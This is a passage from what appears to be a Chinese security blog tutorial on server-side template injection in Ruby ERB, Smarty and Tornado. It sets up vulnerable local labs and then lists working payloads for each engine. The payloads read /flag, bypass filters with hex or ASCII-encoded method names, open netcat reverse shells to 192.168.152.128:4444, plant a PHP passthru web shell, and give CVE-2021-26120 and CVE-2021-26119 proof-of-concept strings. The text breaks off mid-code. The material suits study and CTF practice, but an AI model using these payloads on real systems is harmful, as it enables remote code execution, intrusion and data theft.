style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">  end</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">end</span></span></code></pre>\n<p>以上为漏洞源码</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#安装需要的gems</span></span>\n<span class=\"line\"><span>gem install rackup puma</span></span>\n<span class=\"line\"><span>#运行ruby脚本</span></span>\n<span class=\"line\"><span>ruby rubyy.rb</span></span></code></pre>\n<p>搭建好之后我们尝试传入一个<code>?name=&lt;%=7*7%&gt;</code>会显示invalid query parameters，这是因为在HTTP协议的URL中，<code>%</code>是一个转义字符，比如<code>%20</code>表示空格，<code>%3C</code>表示<code>&lt;</code>，web服务器规定只要出现<code>%</code>，后面的两个字符必须是合法的十六进制数字</p>\n<p>所以我们在传参的时候需要对<code>%</code>和<code>=</code>进行URL编码，<code>%</code>是<code>%25</code>，<code>=</code>是<code>%3D</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%25%3D 7*7 %25></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/32.png\" class=\"\"></p>\n<h2 id=\"反引号命令执行\"><a class=\"anchor\" href=\"#反引号命令执行\">#</a> 反引号命令执行</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%25%3D `cat /flag` %25></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/33.png\" class=\"\"></p>\n<h2 id=\"x替换反引号实现命令执行\"><a class=\"anchor\" href=\"#x替换反引号实现命令执行\">#</a> %x替换反引号实现命令执行</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%25%3D %25x(cat /flag) %25></span></span>\n<span class=\"line\"><span>&#x3C;%25%3D %25x[cat /flag] %25></span></span>\n<span class=\"line\"><span>&#x3C;%25%3D %25x&#123;cat /flag&#125; %25></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/34.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%25%3D %25x/cat \\/flag/ %25></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/36.png\" class=\"\"></p>\n<p>通过<code>//</code>代替括号不过需要用转义符号将<code>/flag</code>里面的<code>/</code>转义</p>\n<h2 id=\"iopopen实现命令执行\"><a class=\"anchor\" href=\"#iopopen实现命令执行\">#</a> IO.popen实现命令执行</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%25%3D IO.popen('cat /flag').readlines %25></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/35.png\" class=\"\"></p>\n<h2 id=\"静默标签实现反弹shell\"><a class=\"anchor\" href=\"#静默标签实现反弹shell\">#</a> 静默标签实现反弹shell</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%25 system('nc -e /bin/sh 192.168.152.128 4444') %25></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/37.png\" class=\"\"></p>\n<h2 id=\"send方法绕过过滤限制\"><a class=\"anchor\" href=\"#send方法绕过过滤限制\">#</a> send方法绕过过滤限制</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%25%3D Kernel.send('`', 'cat /flag') %25></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/38.png\" class=\"\"></p>\n<p>这个方法底层调用的是Kernel模块的`` `方法</p>\n<h2 id=\"self与superclass找到顶层object之后拼接system方法执行\"><a class=\"anchor\" href=\"#self与superclass找到顶层object之后拼接system方法执行\">#</a> self与superclass找到顶层object之后拼接system方法执行</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%25%3D self.class.superclass.send(\"sys\"+\"tem\", \"nc -e /bin/bash 192.168.152.128 4444\") %25></span></span></code></pre>\n<p>由于在在该模版下，直接执行system不会输出命令执行的结果，而是会返回true，所以需要用到反弹shell</p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/39.png\" class=\"\"></p>\n<h2 id=\"十六进制或八进制编码\"><a class=\"anchor\" href=\"#十六进制或八进制编码\">#</a> 十六进制或八进制编码</h2>\n<p>Ruby允许在字符串中直接解析转义序列，并在send等方法中直接作为方法名执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%25%3D send(\"\\x73\\x79\\x73\\x74\\x65\\x6d\", \"nc -e /bin/bash 192.168.152.128 4444\") %25></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/40.png\" class=\"\"></p>\n<h2 id=\"字符数组转换ascii绕过\"><a class=\"anchor\" href=\"#字符数组转换ascii绕过\">#</a> 字符数组转换（ASCII绕过）</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%25%3D send([115, 121, 115, 116, 101, 109].pack('c*'), \"nc -e /bin/bash 192.168.152.128 4444\") %25></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/41.png\" class=\"\"></p>\n<h2 id=\"fileopen读取文件\"><a class=\"anchor\" href=\"#fileopen读取文件\">#</a> File.open读取文件</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%25%3D File.open('/flag').read %25></span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/42.png\" class=\"\"></p>\n<h1 id=\"smarty\"><a class=\"anchor\" href=\"#smarty\">#</a> Smarty</h1>\n<p>参考：<a href=\"https://www.anquanke.com/post/id/272393\">https://www.anquanke.com/post/id/272393</a></p>\n<p>Smarty使用<code>&#123;&#125;</code>作为默认的标签定界符</p>\n<h2 id=\"本地环境测试-2\"><a class=\"anchor\" href=\"#本地环境测试-2\">#</a> 本地环境测试</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>wget https://github.com/smarty-php/smarty/archive/refs/tags/v4.3.4.zip -O smarty.zip</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>unzip -q smarty.zip</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>mv smarty-4.3.4/libs ./smarty_libs</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>rm -rf smarty.zip smarty-4.3.4</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>nano smart.php</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 直接引入老派的 Smarty 类文件，拒绝一切花里胡哨的自动加载</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">require_once</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> __DIR__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> .</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/smarty_libs/Smarty.class.php</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">smarty</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Smarty</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 创建必要的缓存和编译目录</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">@</span><span style=\"color:#998418;--shiki-dark:#B8A965\">mkdir</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__DIR__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> .</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/templates_c</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">@</span><span style=\"color:#998418;--shiki-dark:#B8A965\">mkdir</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__DIR__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> .</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/cache</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">smarty</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">setCompileDir</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__DIR__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> .</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/templates_c</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">smarty</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">setCacheDir</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__DIR__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> .</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">/cache</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 接收参数</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> isset</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">]</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ?</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> :</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Hacker</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 存在漏洞的模板拼接</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">template_string</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;h1>Smarty Lab&#x3C;/h1>&#x3C;p>Hello, </span><span style=\"color:#999999;--shiki-dark:#666666\">&#123;$</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">name</span><span style=\"color:#999999;--shiki-dark:#666666\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">!&#x3C;/p></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">try</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    // 渲染输出</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">smarty</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">display</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">string:</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> .</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">template_string</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> catch</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">Exception</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">e</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Error: </span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> .</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">e</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">getMessage</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>php -S 0.0.0.0:8000</span></span></code></pre>\n<h2 id=\"基础探测\"><a class=\"anchor\" href=\"#基础探测\">#</a> 基础探测</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#123;7*7&#125;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/43.png\" class=\"\"></p>\n<h2 id=\"查询版本\"><a class=\"anchor\" href=\"#查询版本\">#</a> 查询版本</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#123;$smarty.version&#125;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/44.png\" class=\"\"></p>\n<h2 id=\"php写php代码smarty-v2-v3-早期\"><a class=\"anchor\" href=\"#php写php代码smarty-v2-v3-早期\">#</a> {php}写php代码（Smarty v2 / v3 早期）</h2>\n<p>在早期的 Smarty 中，官方直接提供了一个<code>&#123;php&#125;</code>标签，允许你在里面写原生的 PHP 代码</p>\n<p>由于太危险，这个标签在 Smarty 3 中被废弃，在 Smarty 4 中被彻底移除。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#123;php&#125;system('id');&#123;/php&#125;</span></span></code></pre>\n<h2 id=\"直接调用php函数-适用于未开启安全模式的-v3v4\"><a class=\"anchor\" href=\"#直接调用php函数-适用于未开启安全模式的-v3v4\">#</a> 直接调用PHP函数 (适用于未开启安全模式的 v3/v4)</h2>\n<p>如果Smarty没有开启特定的安全配置，你可以直接在花括号里调用PHP的内置危险函数</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#123;system('cat /flag')&#125;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/45.png\" class=\"\"></p>\n<p>读取文件：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#123;file_get_contents('/flag')&#125;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/46.png\" class=\"\"></p>\n<h2 id=\"if标签使内部字符串被当做php代码执行\"><a class=\"anchor\" href=\"#if标签使内部字符串被当做php代码执行\">#</a> {if}标签使内部字符串被当做php代码执行</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#123;if phpinfo()&#125;&#123;/if&#125;</span></span>\n<span class=\"line\"><span>&#123;if system('cat /flag')&#125;&#123;/if&#125;</span></span>\n<span class=\"line\"><span>&#123;if readfile('/flag')&#125;&#123;/if&#125;</span></span>\n<span class=\"line\"><span>&#123;if show_source('/flag')&#125;&#123;/if&#125;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/47.png\" class=\"\"></p>\n<h2 id=\"self标签来获取smarty类的静态方法读取文件\"><a class=\"anchor\" href=\"#self标签来获取smarty类的静态方法读取文件\">#</a> self标签来获取Smarty类的静态方法读取文件</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#123;self::getStreamVariable(“file:///flag”)&#125;</span></span></code></pre>\n<p>不过这种利用方式只存在于旧版本中，而且在 3.1.30 的 Smarty 版本中官方已经将 getStreamVariable 静态方法删除。</p>\n<p>其他的一些类中的方法也是一样，会受到版本的限制，比如 writeFile 方法等也是同理，在高版本下同样不能使用。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#123;Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,\"&#x3C;?php passthru($_GET['cmd']); ?>\",self::clearConfig())&#125;</span></span></code></pre>\n<h2 id=\"cve-2021-26120\"><a class=\"anchor\" href=\"#cve-2021-26120\">#</a> <strong>CVE-2021-26120</strong></h2>\n<p>CVE-2021-26120 为 SmartyInternalRuntime_TplFunction 沙箱逃逸漏洞，所利用 POC 如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>string:&#123;function+name='rce()&#123;&#125;;system(\"cat /flag\");function+'&#125;&#123;/function&#125;</span></span></code></pre>\n<p>由于测试版本为4.3.4，所以这些poc暂时不能复现</p>\n<h2 id=\"cve-2021-26119\"><a class=\"anchor\" href=\"#cve-2021-26119\">#</a> <strong>CVE-2021-26119</strong></h2>\n<p>CVE-2021-26119 为 Smarty template_object 沙箱逃逸 PHP 代码注入漏洞，所利用 POC 如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>string:&#123;$s=$smarty.template_object->smarty&#125;&#123;$fp=$smarty.template_object->compiled->filepath&#125;&#123;Smarty_Internal_Runtime_WriteFile::writeFile($fp,\"&#x3C;?php+phpinfo();\",$s)&#125;</span></span></code></pre>\n<p>请求两次后触发，请求需要触发两次的原因是第一次缓存文件被写入，然后被覆盖。第二次触发缓存并包含文件以进行远程代码执行。相关代码在process函数处。</p>\n<h1 id=\"tornado\"><a class=\"anchor\" href=\"#tornado\">#</a> Tornado</h1>\n<p>Tornado模版引擎的定界符为<code>&#123;&#123;&#125;&#125;</code>（变量输出），<code>&#123;%%&#125;</code>（控制块）</p>\n<p>在测试的时候会看到<code>&#123;&#123;7*7&#125;&#125;</code>回显49，但是使用jinja2的payload无法回显，这是由于Tornado没有沙箱，底层逻辑和Mako一样，允许直接执行python代码和导入模块</p>\n<h2 id=\"本地靶场测试-3\"><a class=\"anchor\" href=\"#本地靶场测试-3\">#</a> 本地靶场测试</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#安装Tornado</span></span>\n<span class=\"line\"><span>pip install tornado --break-system-packages</span></span>\n<span class=\"line\"><span>nano tor.py</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-python\"><span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> tornado</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">ioloop</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> tornado</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">web</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">from</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> tornado</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">template </span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">import</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Template</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> MainHandler</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span 